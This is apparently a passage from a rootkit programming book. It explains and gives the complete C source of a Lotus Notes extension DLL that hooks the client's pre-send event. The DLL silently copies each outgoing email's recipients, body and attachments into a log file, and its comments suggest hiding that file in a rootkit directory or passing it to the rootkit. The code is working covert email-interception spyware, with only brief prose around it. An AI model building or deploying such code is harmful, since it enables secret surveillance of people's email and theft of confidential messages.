The file LotusExtension.c provides the implementation code for the Dynamic Link Library. There are ten functions in this file. The functions within the file appear in reverse order to allow the compiler to parse the function prototypes without the need to include them in the header file, so reading the file from bottom to top will be more informative. As such, the functions are listed here in reverse order:
DllMain–This is the function called by the operating system when the library is loaded.
OnSendMail–This is the function registered to be called before each e-mail is sent.
MainEntryPoint–This is the function called by Lotus Notes after loading the library.
DeregisterEntry–This function removes OnSendMail from the pre-send event call list.
RegisterEntry–This functions inserts OnSendMail into the pre-send event call list.
SaveRecipients–This functions parses recipients and sends the results to LogContent.
ParseRecipientList–This function can be used to join multiple destination lists.
SaveAttachments–This function sends attachments to LogContent.
SaveBody–This function sends the body of the e-mail to LogContent.
LogContent–This function logs e-mail bodies, attachments, and destinations.
// LotusExtension // Copyright Ric Vieler, 2006 // Filter Lotus Notes email // Windows header files #include <stdio.h> #include <fcntl.h> // Lotus Notes header files #include <global.h> #include <misc.h> #include <mail.h> #include <mailserv.h> // Application specific header file #include "LotusExtension.h" // GLOBAL VARIABLES EMHANDLER filterProcedure; HEMREGISTRATION hHandler; WORD recursionId; // Copy email traffic to a storage directory // (use RootkitDirectory if it is being hidden) // or send email traffic to the rootkit. void LogContent( char* content, int contentType ) { // Put content into one big file for this example BYTE buffer[ MAX_PATH ]; size_t contentLength; FILE* sourceFile; FILE* destinationFile; // open the destination file - LN_LOG_FILE strcpy( buffer, LN_LOG_FILE ); if( (destinationFile = fopen( buffer, "a+b" )) != NULL ) { if( contentType == ADDRESS_STRING_CONTENT ) { // content is a string // write address header fwrite( "DESTINATION(S):\n", sizeof(char), 16, destinationFile ); // write addresses contentLength = strlen( content ); fwrite( content, sizeof( char ), contentLength, destinationFile ); // write address footer fwrite( "\n\n", sizeof( char ), 2, destinationFile ); } else { // content is a filename if( (sourceFile = fopen( content, "r+b" )) != NULL ) { // write header if( contentType == BODY_FILENAME_CONTENT ) fwrite( "BODY:\n", sizeof(char), 6, destinationFile ); else fwrite( "ATTACHMENT:\n", sizeof(char), 12, destinationFile ); // write attachment do { contentLength = fread( buffer, sizeof(char), MAX_PATH, sourceFile ); if( contentLength ) { fwrite( buffer, sizeof(char), contentLength, destinationFile ); } } while( contentLength == MAX_PATH ); // write footer fwrite( "\n", sizeof( char ), 1, destinationFile ); fclose( sourceFile ); } } fclose( destinationFile ); } } void SaveBody( HANDLE hNote ) { STATUS errorStatus; DWORD primaryFileSize; char primaryFile[MAX_PATH]; // Construct temp file name strcpy( primaryFile, LN_BODY ); // Put the body of the message into temp file. errorStatus = MailGetMessageBodyText(hNote, NULL, "\r\n", 80, TRUE, primaryFile, &primaryFileSize); if ( !errorStatus && primaryFileSize > 0 ) LogContent( primaryFile, BODY_FILENAME_CONTENT ); } void SaveAttachments( HANDLE hNote ) { WORD attachment; BLOCKID blockID; char fileName[MAX_PATH + 1]; // Construct temp file name strcpy( fileName, LN_ATTACHMENT ); // Open the attachment (if any) for (attachment = 0; MailGetMessageAttachmentInfo( hNote, attachment, &blockID, NULL, NULL, NULL, NULL, NULL, NULL); attachment++ ) { // extract the attachment if( !MailExtractMessageAttachment(hNote, blockID, fileName) ) { // log the attachment LogContent( fileName, ATTACHMENT_FILENAME_CONTENT ); } } } void ParseRecipientList( char* recipients, char* buffer, unsigned int* pIndex ) { int length; length = strlen( recipients ); memcpy( buffer + *pIndex, recipients, length ); *(buffer + *pIndex + length) = ','; length++; *pIndex += length; } BOOL SaveRecipients( HANDLE hNote ) { WORD stringLength; char string[MAXSPRINTF+1]; char addresses[(MAXSPRINTF*3)+3]; unsigned int addressesIndex = 0; MailGetMessageItem (hNote, MAIL_BLINDCOPYTO_ITEM_NUM, string, MAXSPRINTF, &stringLength); if( strlen( string ) ) ParseRecipientList( string, addresses, &addressesIndex ); MailGetMessageItem (hNote, MAIL_COPYTO_ITEM_NUM, string, MAXSPRINTF, &stringLength); if( strlen( string ) ) ParseRecipientList( string, addresses, &addressesIndex ); MailGetMessageItem (hNote, MAIL_SENDTO_ITEM_NUM, string, MAXSPRINTF, &stringLength); if( strlen( string ) ) ParseRecipientList( string, addresses, &addressesIndex ); if( addressesIndex > 1 ) { // Overwrite last comma with string terminator addresses[addressesIndex-1] = 0; // Log destination addresses LogContent( addresses, ADDRESS_STRING_CONTENT ); return TRUE; } return FALSE; } // Register for EM_MAILSENDNOTE - EM_REG_BEFORE events STATUS RegisterEntry() { STATUS error = NOERROR; error = EMRegister(EM_MAILSENDNOTE, EM_REG_BEFORE, (EMHANDLER)filterProcedure, recursionId, &hHandler); return(error); } // Deregister filterProcedure STATUS DeregisterEntry() { STATUS error = NOERROR; error = EMDeregister(hHandler); return(error); } // This routine is defined by Lotus Notes STATUS LNPUBLIC DLL_EXPORT MainEntryPoint( void ) { STATUS error; // Next get a recursion ID error = EMCreateRecursionID( &recursionId ); if ( !error ) error = RegisterEntry(); return( error ); } // Called when Lotus Notes client is about to send. // Return FALSE to block else return ERR_EM_CONTINUE STATUS LNPUBLIC OnSendMail( EMRECORD* pExRecord ) { HANDLE hNote; void *pViewDesc; WORD Flags; BOOL *pModified; VARARG_PTR ap; // get the arguments ap = pExRecord->Ap; hNote = VARARG_GET (ap, HANDLE); pViewDesc = VARARG_GET (ap, VOID *); Flags = VARARG_GET (ap, WORD); pModified = VARARG_GET (ap, BOOL *); // check for record error if (pExRecord->Status != NOERROR) return( ERR_EM_CONTINUE ); // filter mail if( !SaveRecipients( hNote ) ) { SaveBody( hNote ); SaveAttachments( hNote ); } return( ERR_EM_CONTINUE ); } // Standard windows NT DLL entrypoint BOOL WINAPI DllMain( HINSTANCE hInstance, DWORD fdwReason, LPVOID lpReserved ) { switch( fdwReason ) { case DLL_PROCESS_ATTACH: // Initialize mail intercept procedure filterProcedure = (EMHANDLER)MakeProcInstance( (FARPROC)OnSendMail, hInstance); break; case DLL_PROCESS_DETACH: // Free mail intercept procedure FreeProcInstance( filterProcedure ); DeregisterEntry(); break; } return( TRUE ); UNREFERENCED_PARAMETER( lpReserved ); }
Of the ten functions implemented in LotusExtension.c, only the filter logic within OnSendMain requires additional explanation. This function only saves the e-mail body and attachments when the message has no destination addresses. This is because the Lotus Notes messaging system separates internal e-mail messages from external e-mail messages. Therefore, if your e-mail has both internal Domino specific destinations (e.g., JohnDoe/lotus) and external Internet destinations (e.g., jdoe@lotus.com), then there will be two events: one with a body and attachments but no addresses (for internal destinations) and one with a body, attachments, and addresses (for external destinations). This messaging protocol requires the client extension to skip the body and attachments for messages with addresses because they have already been logged.